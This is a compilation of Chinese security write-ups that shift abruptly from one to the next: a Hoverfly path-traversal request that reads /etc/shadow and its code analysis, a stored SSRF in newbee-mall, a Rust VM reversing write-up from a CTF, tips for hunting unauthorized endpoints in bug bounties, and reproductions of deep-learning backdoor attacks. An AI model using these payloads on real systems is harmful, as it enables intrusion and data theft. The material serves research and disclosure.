Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}
漏洞分析
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes
定义了 SimulationHandler 的路由注册方法,路由的每个 HTTP 方法(如 GET 、PUT 、POST 、DELETE 等)都有一个对应的处理函数 (this.Get 、this.Put 、this.Post 、this.Delete 、this.Options 、this.GetSchema )。这些函数处理实际的业务逻辑。
GET /api/v2/simulation: 处理获取模拟数据。
PUT /api/v2/simulation: 处理更新模拟数据。
POST /api/v2/simulation: 处理创建新的模拟数据。
DELETE /api/v2/simulation: 处理删除模拟数据。
OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。
GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。
OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。
POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation
第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。
hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation
hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile
这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../ 实现跨越目录的读取文件
我们看到最新版已经对传入的参数进行了处理
hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile
hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath
这个 ResolveAndValidatePath 函数用于从一个绝对路径(absBasePath )解析一个相对路径(relativePath ),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".." ),并且解析后的路径仍然在基路径之下。
一个0day的开端-失败的man与nday
最近在审计java的CMS,跟着文章进行nday审计,找准目标newbee-mall Version1.0.0(新蜂商城系统),并跟着网上文章进行审计:
https://blog.csdn.net/m0_46317063/article/details/131538307下载唯一的版本,且源码README中版本也对的上,但没想到nday全部复现失败,但在一番审计后找到了一个新的漏洞点:ssrf,且在前台可以被用户触发。
失败的man与nday:
失败的sql注入漏洞:
(此漏洞原本可以在前台与后台进行sql注入攻击)
分析文章中有两sql注入漏洞,是由于引入mybatis依赖导致,但在我下的版本中根据关键字符${找不到任何的注入点,经过与分析文章对比发现所有注入点全部由${改成了#{由此完成修复。
失败的权限绕过:
(此漏洞原本可以在admin登录后台通过/;/admin/test完成权限绕过)
复现文章写到以request.getRequestURI()获取路径获取路径后再进入if判断:
但我下载的版本进行了修复:将获取前端传输的路径方法改为了:getServletPath()从而完成修复。
两种方法的不同具体分析可以参考如下文章:
https://forum.butian.net/share/3730失败的越权漏洞:
(此漏洞原本可以根据传入的id参数越权修改他人信息。)
定位到具体代码:
此处代码与复现文章一样,都是先创建一个NewBeeMallUserVO对象,再通过是否为空判断信息修改是否成功。
真正修改信息的代码在updateUserInfo方法里面,于是跟进该方法实现处:
发现跟到了接口,于是我们继续跟进,找该接口的实现类:
跟进到如下类,找到具体实现的代码块:
复现文章代码在进入if判断前只有一行代码,并且代码逻辑是从前端传入的id值进行信息修改,但可以看到我下载的代码有两行:
NewBeeMallUserVO userTemp = (NewBeeMallUserVO)httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY);
首先通过http.Session获取当前用户,再赋给创建的userTemp对象。
MallUser userFromDB =mallUserMapper.selectByPrimaryKey(userTemp.getUserId());
再从userTemp对象中获取id值进行信息修改,而非从前端请求中获取参数id的值,来完成漏洞修复。
0day的发现:
登录后台,点击修改或者添加商品:
随意传入图片后点击保存并抓包。
将POST数据包如上两个参数修改为dnslog地址,放包,在商城前台搜索该商品名称。
点击访问,dns平台出现记录。
漏洞代码分析:
先看看商品信息存储过程:
根据接口定位代码块:
可以发现在接受参数后进行是否为空判断后进入了核心方法updateNewBeeMallGoods,跟进:
跟到接口后再找到接口实现类,最后定位到更新信息代码块。
可以看到,仅仅对传入参数值进行为空判断和相同判断后,便调用set方法进行存储。
接下来再看看商品信息调用代码链。
根据触发漏洞的数据包接口定位代码块:
此处代码根据传入goodsid参数,将商品渲染到前端,也就是搜索商品后,见到商品那刻触发漏洞。
对接受goodsid参数是否<1判断后进入取商品信息代码。
跟进getNewBeeMallGoodsById方法,找到方法接口后再找接口实现类,再找方法:
发现goodsid参数传入selectByPrimaryKey方法。
该方法通过数据访问对象(DAO)goodMapper调用,且在方法最前处由NewBeeMallGoodsMapper对其定义:
全局搜索,找到对应xml文件:
发现通过id参数对数据库操作,取出goodsCoverImg与goodsCarousel参数。
回到最先前的类:
此时goods对象已经获取商品相关参数值。
再进入if判断商品是否上架,上架则进入下一轮代码,将商品信息封装为视图模型,找到NewBeeMallGoodsDetailVO类,发现只接受了goodsCoverImg参数,也就是先前抓包修改处只用修改该参数即可:
最后返回视图名称"mall/detail",表示渲染商品详情页面:
由于存储时未做任何过滤,进行视图层渲染时直接拿出goodsCoverImg参数放到前端,导致用户一旦访问商品便触发该漏洞。
实战逆向RUST语言程序
实战为主,近日2024年羊城杯出了一道Rust编写的题目,这里将会以此题目为例,演示Rust逆向该如何去做。
题目名称:sedRust_happyVm
题目内容:unhappy rust, happy vm
关于Rust逆向,其实就是看汇编,考验选手的基础逆向能力。在汇编代码面前,任何干扰都会成为摆设。
1、初步分析
64为程序,使用IDA 64打开
通过字符串定位分析点
现在我们知道 inputflag的长度大于 0x15
接下来在汇编层面下一个断点,输入假flag,去观察相关寄存器的值
好像并没有什么内容
继续单步 步过,直到发现下一个要注意的地方!
字符串长度:0x28
我们继续单步步过跟踪
开辟空间的时候,说明快到真正函数处理过程了。
2、分析加密流程
2.1 base64分割模块
这里简单将 3 字节变成4字节的操作,称之为 base64分割模块
这里举个例子
输入的:"111"
->二进制字符串 001100010011000100110001
经过base64分割模块
->001100 010011 000100 110001
发现程序执行完后正好是这样的结果
2.2 组合
举个例子:
假如分割之后的4字节为:
0xC、0x13、0x4、0x31
那么组合后的字符串
rax = 0xC
rcx = 0x1300
edx = 0xB1130C18
2.3 VM处理模块
发现func3 非常乱
并且频繁调用sub_40A800()
发现这是一道VM类型的题,那么VM的题加密应该会很简单,基本是异或之类。
在 sub_40A800 里面找到 异或,下断点
这个al每经过两次就是秘钥
解题脚本
int main() {
//提取的密文
unsigned char s1[] = { 0x00,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xa2,0x43,0x68,0x89,0x4,0x8f,0xb0,0x43,0x49,0x3a,0x18,0x39,0x72,0xc,0xba,0x76,0x98,0x13,0x8b,0x46,0x33,0x2b,0x25,0xa2,0x8b,0x27,0xb7,0x61,0x7c,0x3f,0x58 };
//提取的秘钥
unsigned char s2[] = { 0x18,0xb1,0x9,0xa4,0xa6,0x2a,0x9e,0x1b,0x96,0x57,0x5d,0xad,0xae,0x75,0x65,0xac,0x9,0x8c,0xa0,0x76,0x47,0x2c,0x10,0x1,0x7c,0xf,0xba,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2d,0x2d,0x9a,0x87,0x31,0xba,0x43,0x70,0x2c,0x4c };
unsigned char s3[128] = { 0 };
for (int i = 0; i < 43; i++) {
s3[i] = s1[i] ^ s2[i];
}
//还原base64分割模块
char s4[128] = { 0 };
int j = 0;
for (int i = 0; i < 44; i += 4, j += 3) {
s4[j] = (s3[i] << 2) | (s3[i + 1] >> 4);
s4[j+1] = (s3[i+1] << 4) | (s3[i + 2] >> 2);
s4[j+2] = (s3[i+2] << 6) | s3[i + 3];
}
printf("%s", s4);
return 0;
}
小白生于天地之间,岂能郁郁难挖高危?
小白的众测高危:
记先前某次众测,经过资产梳理,发现所有站点全部都挂了WAF,作为一名不钓鱼的挖洞小白,我估计这次又要空军。
小白生于天地之间,岂能郁郁难挖高危?
想要在挂了WAF的站点挖出高危,很难,因为这些站点,你但凡鼠标点快点,检测出了不正确动作都要给你禁IP,至于WAF绕过对于小白更是难搞。其实在众测,大部分漏洞都并非那些什么SQL注入RCE等等,而小白想要出高危,可能也只有寄托希望于未授权。
未授权接口怎么找:
有一种站点,在URL内含有#符号,这种站点的路径接口信息泄露较多,更容易出未授权。
但要注意一点,#后面的东西是不会走服务器的,所以这里如果在findsomething找到了很多东西,拼接的时候带不带#号呢?
这就要区分路由和接口了,如果看着像是路由,在这种原本就有#符号站点,就带上#符号。如果是接口,接口一般是用来进行数据交互的,所以需要走服务器,那就不能拼接#符号。
区分上述后就可以将拿到的东西以POST请求,GET请求都跑一遍,再看是否存在能用的接口,再根据接口返回情况看是否需要添加参数。
这里又是涉及一个很麻烦的点,那就是遇到接口能用,找到参数了,但参数的格式不知道,我这次讲的这个高危就遇到了这种情况,差点错过!
在将现有js里面的接口跑完后还需要注意找js里面的js里面的接口。
这里有两种常见情况:
一、js.map泄露
大多webpack打包的站点会有js.map文件,那js.map文件怎么利用呢?
首先需要下载下来:
如上图,右键检查后,在网络处找.js文件,再点击它,在右方找到js文件的路径,并在结尾加上.map访问即可下载。
之后再由reverse-sourcemap工具还原js.map文件,再由vscode等工具打开,进行接口关键字搜查。
二、大量chunk类型js泄露:
如图:
我们如果在数据包或者js文件看到这种格式内容,就可以考虑进一步利用。
首先将所有内容复制出来,再用notepad++打开:
如图进行替换成符合burp里面chunk文件的格式,再放到burp里面跑一遍,配合HAE插件可以提取更加全面的接口信息。
小白找的高危未授权接口:
我也是通过上述方法找到接口后放到burp里面跑,(跑的时候记得加参数),例如接口中有类似id=,url=,wid=等等最好自己加个参数上去。
但就是因为不知道参数类型,我险些错过这个高危漏洞。
如上图第一个接口,因为参数不正确跑出来跟其它接口一个样,不过还好我留意了一下,并且运气好,随手拼的参数居然正确了,直接下载了敏感文件,造成用户全家姓名,电话,住址,工作公司,身份证等等信息全部泄露。(所以这里注意:对有参数的接口即使一次没跑出信息,也要考虑是否需要对参数进行FUZZ)
并且id参数可遍历,形成大范围用户泄露,高危漏洞到手。
深度学习后门攻击分析与实现(二)
前言
在本系列的第一部分中,我们已经掌握了深度学习中的后门攻击的特点以及基础的攻击方式,现在我们在第二部分中首先来学习深度学习后门攻击在传统网络空间安全中的应用。然后再来分析与实现一些颇具特点的深度学习后门攻击方式。
深度学习与网络空间安全的交叉
深度学习作为人工智能的一部分,在许多领域中取得了显著的进展。然而,随着其广泛应用,深度学习模型的安全性也引起了广泛关注。后门攻击就是其中一种重要的威胁,尤其在网络空间安全领域中。
我们已经知道深度学习后门攻击是一种攻击者通过在训练过程中插入恶意行为,使得模型在特定的触发条件下表现异常的攻击方式。具体来说,攻击者在训练数据集中加入带有后门触发器的样本,使得模型在遇到类似的触发器时,产生攻击者期望的错误输出,而在正常情况下,模型仍能表现出高准确率。这种隐蔽性和针对性使得后门攻击非常难以检测和防御。
现在我们举几个例子介绍后门攻击在网络空间安全中的应用场景。
恶意软件检测:在网络安全中,恶意软件检测是一个重要应用。攻击者可以通过后门攻击技术,使得恶意软件检测模型在检测特定样本时失效。例如,攻击者可以在训练恶意软件检测模型时插入带有后门的恶意样本,使得模型在检测带有特定触发器的恶意软件时无法正确识别,从而达到隐蔽恶意软件的目的。
入侵检测系统:入侵检测系统(Intrusion Detection System, IDS)用于监测网络流量并识别潜在的入侵行为。攻击者可以在训练IDS模型时加入后门触发器,使得模型在特定条件下无法识别攻击流量。例如,攻击者可以在训练数据中插入带有特定模式的正常流量,使得模型在检测到这些模式时误判为正常,从而绕过入侵检测系统。
图像识别安全:在网络空间安全中,图像识别技术被广泛应用于身份验证和监控系统中。攻击者可以利用后门攻击,在训练图像识别模型时插入带有后门的图像样本,使得模型在识别带有特定触发器的图像时出现误判。例如,攻击者可以使得带有特定标志的非法图像被识别为合法,从而绕过安全监控系统。
可见后门攻击与网络空间安全其他领域还是存在不少交叉的。
现在我们继续来分析并实现、复现典型的深度学习后门攻击方法。
BppAttack
理论
这篇工作提出了一种名为BPPATTACK的深度神经网络(DNN)木马攻击方法。该攻击利用了人类视觉系统对图像量化和抖动处理不敏感的特性,通过这些技术生成难以被人类察觉的触发器,进而实现对DNN的高效、隐蔽的木马攻击。
现有的攻击使用可见模式(如图像补丁或图像变换)作为触发器,这些触发器容易受到人类检查的影响。比如下图就可以看到很明显的触发器。
BPPATTACK方案的核心思想是利用人类视觉系统对图像微小变化的不敏感性,通过图像量化和抖动技术生成难以被人类察觉的触发器,实现对深度神经网络(DNN)的高效、隐蔽的木马攻击。
人类视觉系统对颜色深度的变化不是特别敏感,特别是当颜色变化非常微小的时候。BPPATTACK正是基于这一生物学原理,通过调整图像的颜色深度来生成触发器。
图像量化(Bit-Per-Pixel Reduction):
图像量化是减少图像中每种颜色的比特数,从而减少图像的总颜色数量。BPPATTACK通过降低每个像素的比特深度,使用量化后的最近邻颜色值来替换原始颜色值,实现对图像的微小修改。
抖动技术(Dithering):
为了消除由于颜色量化引起的不自然或明显的图像伪影,BPPATTACK采用抖动技术,特别是Floyd-Steinberg抖动算法,来平滑颜色过渡,提高图像的自然度和视觉质量。
BPPATTACK旨在生成一种触发器,它对人类观察者来说是几乎不可察觉的,但对机器学习模型来说足够显著,能够触发预设的木马行为。这种平衡是通过精确控制量化和抖动的程度来实现的。
与需要训练额外的图像变换模型或自编码器的攻击不同,BPPATTACK不需要训练任何辅助模型,这简化了攻击流程并提高了效率。
为了提高攻击的成功率和隐蔽性,BPPATTACK采用了对比学习和对抗性训练的结合。通过这种方式,模型被训练来识别和利用量化和抖动生成的触发器,同时忽略其他不重要的特征。
量化过程涉及将原始图像的颜色深度从( m )位减少到( d )位(( d < m ))。对于每个像素值,使用以下公式进行量化:
其中:
( T(x) ) 是量化后的像素值。
( x ) 是原始像素值。
( m ) 是原始颜色深度的位数(每个通道)。
( d ) 是量化后的目标颜色深度的位数。
( \text{round} ) 是四舍五入到最近的整数。
Floyd-Steinberg Dithering:抖动算法用于改善量化后的图像质量,通过将量化误差扩散到邻近像素。对于每个像素,计算量化误差并更新周围像素:
然后,根据Floyd-Steinberg分布,更新当前像素和周围像素:
BPPATTACK方案的关键在于通过量化和抖动技术生成的微小变化对人类视觉系统是不可见的,但对DNN模型是可区分的,从而实现隐蔽的木马攻击。
实现
我们来看看该方法得到的部分中毒样本
分析关键函数
Bpp 类:继承自 BadNet,添加了命令行参数处理和数据集准备功能,用于特定处理阶段。
set_bd_args 方法:配置与攻击设置相关的命令行参数。
stage1_non_training_data_prepare 方法:准备和变换数据集,设置 DataLoader,并存储阶段 1 的结果。
1. 类定义与初始化
类声明:
class Bpp(BadNet): Bpp 是 BadNet 的一个子类。
构造函数 (__init__ 方法):
def __init__(self):: 这是 Bpp 的初始化方法。
super(Bpp, self).__init__(): 调用父类 BadNet 的构造函数,以确保执行父类中的初始化逻辑。
2. 设置命令行参数
set_bd_args 方法:
def set_bd_args(cls, parser: argparse.ArgumentParser) -> argparse.ArgumentParser:: 这个类方法用于使用 argparse 库设置命令行参数。
parser = add_common_attack_args(parser): 调用 add_common_attack_args 函数,添加与攻击相关的常见参数。
parser.add_argument(...): 添加各种命令行参数:
--bd_yaml_path: 指定一个 YAML 文件的路径,用于提供额外的默认属性。
--neg_ratio, --random_rotation, --random_crop, --squeeze_num, --dithering: 各种与攻击配置相关的参数,如负比率、旋转、裁剪、压缩和抖动。
返回值:
返回更新后的 parser 对象,其中包含所有添加的参数。
3. 准备第一阶段的数据
stage1_non_training_data_prepare 方法:
def stage1_non_training_data_prepare(self):: 这个方法用于准备第一阶段的数据。
日志记录与断言:
logging.info("stage1 start"): 记录阶段 1 的开始。
assert "args" in self.__dict__: 确保 args 属性存在于实例中。
数据集准备:
train_dataset_without_transform, train_img_transform, train_label_transform, 等变量:这些变量被赋值为调用 self.benign_prepare() 的结果,该方法用于准备数据集和变换。
clean_train_dataset_with_transform.wrap_img_transform = test_img_transform: 将训练数据集的图像变换更新为与测试数据集的图像变换一致。
DataLoader 初始化:
clean_train_dataloader: 一个用于清洁训练数据集的 DataLoader,应用了变换。
clean_train_dataloader_shuffled: 一个用于清洁训练数据集的 DataLoader,但数据是打乱的。
clean_test_dataloader: 一个用于清洁测试数据集的 DataLoader。
存储结果:
self.stage1_results: 存储各种数据集和 DataLoader 以备阶段 1 进一步使用。
这段代码是一个神经网络训练和评估的流程,具体针对的是后门攻击(backdoor attack)的研究
初始化:
代码开始时,记录训练阶段2的开始时间。
通过断言检查 self 对象中是否包含 args 属性,获取训练参数。
设备选择:
根据是否有可用的 GPU 来设置计算设备。如果 args.device 包含多个设备(例如 "cuda:2,3,7"),则使用 torch.nn.DataParallel 来并行计算。
模型生成:
调用 generate_cls_model 函数生成分类模型 netC,并将其移动到指定的设备上。
优化器和学习率调度器:
调用 argparser_opt_scheduler 函数获取优化器和学习率调度器。
数据预处理:
过滤出可逆的图像变换(如标准化、缩放、转换为张量)。
创建干净和背门攻击的数据集,分别保存处理后的数据集。
训练数据处理:
遍历干净训练数据,通过反归一化得到原始图像。
根据攻击标签转换类型("all2one" 或 "all2all")来生成背门攻击数据。
处理数据集中的每一批次,并将干净样本和背门样本保存到数据集中。
测试数据处理:
对测试数据进行类似的预处理和保存操作,包括处理干净测试数据和背门测试数据。
评估背门效果,并根据攻击标签转换类型生成相应的标签和数据。
负样本生成:
如果指定了负样本比率(neg_ratio),生成负样本数据。这些负样本用于评估背门攻击的效果。
将负样本与其他数据合并,并保存处理后的数据。
模型训练和评估:
对每个 epoch 执行训练和评估步骤。记录训练损失、准确率、背门攻击成功率等指标。
将每个 epoch 的训练和测试结果保存到列表中,并绘制训练和测试指标的图表。
模型保存和结果输出:
在训练周期结束时保存模型状态、学习率调度器状态、优化器状态等。
将训练和测试结果保存到 CSV 文件中,并生成最终的攻击结果数据。
完成:
输出“done”表示训练和保存过程已完成。
每个步骤都有明确的目标,从数据处理到模型训练,再到最终结果保存,涵盖了整个训练和评估的过程。
这段代码包含了两个主要的函数:train_step 和 eval_step。它们分别用于训练和评估模型
train_step 函数
功能: 执行一个训练步骤,处理数据、计算损失、更新模型权重,并计算各种指标。
初始化:
记录日志,设置模型为训练模式。
获取训练参数,包括背门比率(rate_bd)和压缩数(squeeze_num)。
初始化交叉熵损失函数(criterion_CE)和数据转换对象(transforms)。
初始化一些用于记录的列表。
数据处理:
对每个批次的数据进行处理:
清空优化器的梯度。
将输入数据和目标标签移动到指定设备(GPU/CPU)。
计算背门样本和负样本的数量。
根据是否存在背门样本和负样本,生成相应的数据:
背门样本: 对背门样本进行处理(如抖动处理)并生成标签。
负样本: 生成负样本数据并合并到训练数据中。
处理数据集中的每一批次,将背门样本和负样本合并到一起。
应用数据转换函数。
模型训练:
计算模型的预测结果,并记录计算时间。
计算损失,进行反向传播,更新优化器。
记录每个批次的损失、预测结果、标签等信息。
计算指标:
计算每个 epoch 的平均损失和准确率。
根据背门样本、负样本和干净样本的指标,计算背门攻击成功率(ASR)、干净样本准确率等。
返回:
返回训练过程中的各种指标:平均损失、混合准确率、干净样本准确率、背门攻击成功率、背门样本恢复准确率、交叉样本准确率。
eval_step 函数
功能: 执行模型评估,计算不同数据集(干净数据集、背门数据集、交叉数据集等)的损失和准确率。
清洁测试数据集评估:
使用 given_dataloader_test 函数评估干净测试数据集,获取损失和准确率。
背门数据集评估:
使用 given_dataloader_test 函数评估背门测试数据集,获取损失和准确率。
背门样本恢复(RA)数据集评估:
对背门样本恢复数据集进行转换和评估,获取损失和准确率。
交叉数据集评估:
使用 given_dataloader_test 函数评估交叉测试数据集,获取损失和准确率。
返回:
返回不同数据集的损失和准确率:干净测试集损失和准确率、背门测试集损失和准确率、交叉测试集损失和准确率、恢复测试集损失和准确率。
这些函数一起构成了一个完整的训练和评估流程,涵盖了数据处理、模型训练、指标计算和评估等多个方面。
开始进行后门注入
攻击配置如下所示
训练期间的部分截图如下
也可以查看acc的变化情况
可以看到主要关注的指标都在稳步上升
以35epoch为例,此时的后门攻击成功率达到了0.98,而深度学习模型执行正常任务的准确率达到了0.91
FTrojan
理论
FTrojan攻击的核心思想是在频率域中注入触发器。这种方法利用了两个关键直觉:
在频率域中的小扰动对应于整个图像中分散的小像素级扰动,这使得图像在视觉上与原始图像难以区分。
卷积神经网络(CNN)能够学习并记住频率域中的特征,即使输入的是空间域像素。
FTrojan攻击包括以下步骤:
将图像从RGB色彩空间转换到YUV色彩空间,因为人的视觉系统对YUV中的UV(色度)分量不那么敏感。
对图像的UV分量进行离散余弦变换(DCT),将其从空间域转换到频率域。
在频率域中生成触发器,选择固定大小的频率带作为触发器。
应用逆DCT将图像从频率域转换回空间域。
最后,将图像从YUV色彩空间转换回RGB色彩空间。
我们来分析关键细节
FTrojan攻击方法的核心在于利用频率域的特性来注入难以被检测到的后门触发器。
颜色空间转换(RGB到YUV):
使用线性变换将RGB图像转换为YUV空间。YUV空间将颜色图像分解为亮度(Y)和色度(U, V)分量。人的视觉系统对色度分量的变化不如亮度分量敏感,因此在色度分量中注入触发器对视觉的影响较小。
离散余弦变换(DCT):
对YUV空间中的U和V分量应用DCT,将图像从空间域转换到频率域。DCT将图像表示为不同频率的余弦函数的集合,能量集中在低频部分,高频部分则包含图像的边缘和细节信息。
DCT公式如下:
其中,(X(u, v))是DCT系数,(x(x, y))是图像在空间域的像素值,(M)和(N)是图像的宽度和高度,(u)和(v)是频率索引。
触发器生成:
在频率域中选择特定的频率带作为触发器。触发器的频率和幅度是两个关键参数:
触发器频率:选择中频和高频带的组合,以平衡人类视觉感知的敏感性和触发器的鲁棒性。
触发器幅度:选择适中的幅度以确保触发器对CNN是可学习的,同时对人类视觉系统是不可见的。
逆离散余弦变换(Inverse DCT):
使用逆DCT将修改后的频率域图像转换回空间域,得到注入了后门触发器的图像。
逆DCT公式如下:
颜色空间转换(YUV回到RGB):
最后,将修改后的YUV图像转换回RGB空间,因为大多数CNN模型是在RGB空间上训练的。
完整的攻击流程如下图所示
下图是本方法生成的中毒样本与触发器,可以看到是具有一定隐蔽性的
下图是通过 FTrojan 攻击来得到的中毒图像。混频将触发器混合在中频和高频成分中。我们可以观察到,当触发器存在于具有适中幅度的高频和中频成分中时,中毒图像在视觉上很难被检测到。
复现
攻击类
这段代码定义了一个 Ftrojann 类,继承自 BadNet。下面是代码的功能解释:
set_bd_args 方法:
这个方法用于设置命令行参数。它接受一个 argparse.ArgumentParser 对象作为输入,并返回一个更新后的 ArgumentParser 对象。
add_common_attack_args(parser) 是一个函数调用,可能会向 parser 中添加一些通用的攻击相关参数。
添加了多个特定参数:
--channel_list:接收一个整数列表,代表频道列表。
--magnitude:接收一个浮点数,表示强度。
--YUV:接收一个布尔值,表示是否使用 YUV 格式。
--window_size:接收一个整数,表示窗口大小。
--pos_list:接收一个整数列表,表示位置列表。
--bd_yaml_path:接收一个字符串,指定 YAML 文件的路径,该文件提供附加的默认属性。默认路径是 ./config/attack/ftrojann/default.yaml。
add_bd_yaml_to_args 方法:
这个方法用于将 YAML 文件中的默认属性添加到 args 参数中,并进行一些额外的处理。
从 args.bd_yaml_path 指定的路径读取 YAML 文件内容,解析为字典 mix_defaults。
将 args 对象中非 None 的参数更新到 mix_defaults 中。
将 args 对象的 __dict__ 属性(存储了所有参数)更新为合并后的字典。
检查 pos_list 的长度是否为偶数,如果不是,抛出 ValueError。
将 pos_list 转换为一对一对的元组列表,例如,将 [x1, y1, x2, y2] 转换为 [(x1, y1), (x2, y2)]。
着重查看对于数据集的处理代码
这个类的主要功能是处理带有后门攻击的图像数据集,支持图像和标签的预处理、状态恢复和复制。
这段代码定义了一个名为 prepro_cls_DatasetBD_v2 的 PyTorch 数据集类。这个类扩展了 torch.utils.data.Dataset,用于处理带有后门攻击(backdoor attack)的数据集
__init__ 方法:
参数:
full_dataset_without_transform: 原始数据集,没有应用任何变换。
poison_indicator: 一个可选的序列,表示哪些图像需要应用后门变换(使用 one-hot 编码)。默认为 None,如果没有提供,则初始化为全零的数组。
bd_image_pre_transform: 应用在图像上的后门变换函数。
bd_label_pre_transform: 应用在标签上的后门变换函数。
save_folder_path: 保存后门图像的文件夹路径。
mode: 当前模式,默认为 'attack'。
操作:
初始化数据集和相关属性。
检查 poison_indicator 的长度是否与数据集长度匹配。
如果 poison_indicator 中的值大于等于 1,则调用 prepro_backdoor() 方法进行后门数据预处理。
设置其他属性,如 getitem_all 和 getitem_all_switch,用于控制数据集的取值方式。
prepro_backdoor 方法:
对所有需要后门变换的样本进行处理。
遍历数据集的所有索引,如果 poison_indicator 表示该样本需要变换,则应用图像和标签的变换,并调用 set_one_bd_sample() 方法保存变换后的样本。
set_one_bd_sample 方法:
将图像和标签变换后的样本保存到 bd_data_container 中。
确保图像被转换为 PIL 图像格式(如果不是的话)。
更新 poison_indicator,标记该样本为后门样本。
__len__ 方法:
返回数据集中样本的总数。
__getitem__ 方法:
根据索引获取样本。
如果样本是干净的(poison_indicator 为 0),则从原始数据集中获取图像和标签。
如果样本是后门的(poison_indicator 为 1),则从 bd_data_container 中获取图像和标签。
根据 getitem_all 和 getitem_all_switch 的设置,返回不同格式的数据。
subset 方法:
根据给定的索引列表更新 original_index_array,从而选择数据集的子集。
retrieve_state 方法:
返回当前对象的状态,包括 bd_data_container、getitem_all、getitem_all_switch、original_index_array、poison_indicator 和 save_folder_path。
copy 方法:
创建一个 prepro_cls_DatasetBD_v2 的副本。
深度复制当前对象的状态,并设置到新副本中。
set_state 方法:
根据提供的状态文件恢复对象的状态。
包括恢复 bd_data_container 和其他属性。
在我们的实现中得到的部分中毒样本如下所示
注入后门
攻击配置
后门注入期间的部分截图如下所示
以第38个epoch为例,此时的后门攻击成功率达到了接近100%,而正常任务的准确率达到了0.91
CTRL
理论
之前我们提到的后门攻击都是通过监督学习的方式实现的,这一节我们来分析自监督学习后门攻击。
自监督学习(SSL)是一种无需标签即可学习复杂数据高质量表示的机器学习范式。SSL在对抗性鲁棒性方面相较于监督学习有优势,但是否对其他类型的攻击(如后门攻击)同样具有鲁棒性尚未明确。
CTRL攻击通过在训练数据中掺入少量(≤1%)的投毒样本,这些样本对数据增强操作具有抗性,使得在推理阶段,任何含有特定触发器的输入都会被错误地分类到攻击者预定的类别。
触发器 ( r ) 是一种在输入数据的频谱空间中的扰动,它对数据增强(如随机裁剪)不敏感。触发器的设计使其在视觉上几乎不可察觉,但在频域中具有特定的模式。
假设攻击者可以访问到一小部分目标类别的输入样本集 ( \tilde{D} )。
通过在这些样本上添加触发器 ( r ) 来生成投毒数据 ( D^* )。
嵌入:将触发器 ( r ) 嵌入到输入 ( x ) 中,形成触发输入 ( x^* = x \oplus r )。这里 ( \oplus ) 表示触发器嵌入操作。
激活:在推理时,攻击者可以调整触发器的幅度来激活后门,而不影响模型对清洁数据的分类性能。
SSL中的对比损失函数旨在最小化正样本对(相同输入的不同增强视图)之间的距离,同时最大化负样本对(不同输入)之间的距离。对比损失可以表示为:
其中,( f ) 是编码器,( x_i ) 和 ( x_j ) 是正样本对,( y_{ij} ) 是指示器(如果 ( x_i ) 和 ( x_j ) 是正样本对,则为1,否则为0),( \tau ) 是温度参数。
CTRL攻击利用了SSL的表示不变性属性,即不同增强视图的同一输入应具有相似的表示。数学上,这可以表示为:
这里,( x^* ) 是触发输入,( x^+ ) 是增强后的正样本,( r ) 是触发器,( \alpha ) 是混合权重。
通过调整触发器的幅度,攻击者可以控制攻击的效果。
完整的攻击流程如下图所示
下图演示了触发器的生成流程
复现
分析关键代码
ctrl类的stage1_non_training_data_prepare` 方法负责准备背门攻击的数据,包括训练和测试数据集的生成。它先从干净数据中准备基础数据,然后生成背门样本,最后创建背门训练和测试数据集,并将结果保存以备后续使用。这一过程涵盖了从数据预处理到背门攻击数据的生成,并最终包装成适合训练和评估的格式。
这段代码是一个名为 ctrl 的类的定义,它继承自 BadNet 类。主要功能是准备阶段1的数据,包括生成后门攻击数据和测试数据
1. set_bd_args 方法
功能: 设置用于背门攻击的命令行参数。
bd_yaml_path: 指定 YAML 配置文件的路径。
use_dct: 布尔值,指示是否使用 DCT(离散余弦变换)。
use_yuv: 布尔值,指示是否使用 YUV(视频色彩空间)。
trigger_channels: 触发器的通道。
pos_list: 触发器的位置。
2. stage1_non_training_data_prepare 方法
功能: 准备数据,包括清洁训练数据、背门训练数据和测试数据。
初始化:
记录日志并确保 args 存在。
从 benign_prepare 方法中获取不同的数据集和转换方法。
生成背门数据集:
调用 bd_attack_img_trans_generate 和 bd_attack_label_trans_generate 方法生成背门数据集所需的图像和标签转换。
使用 generate_poison_index_from_label_transform 方法生成训练数据中的背门样本索引。
保存背门样本索引到文件。
创建背门训练数据集:
使用 prepro_cls_DatasetBD_v2 方法生成背门训练数据集,并应用转换。
创建数据集包装器 dataset_wrapper_with_transform。
生成背门测试数据集:
使用 generate_poison_index_from_label_transform 方法生成测试数据中的背门样本索引。
使用 prepro_cls_DatasetBD_v2 方法生成背门测试数据集,并应用转换。
使用 subset 方法筛选测试数据集中的背门样本。
保存结果:
将准备好的数据集保存到 self.stage1_results 中。
执行
攻击配置如下
训练期间部分截图如下
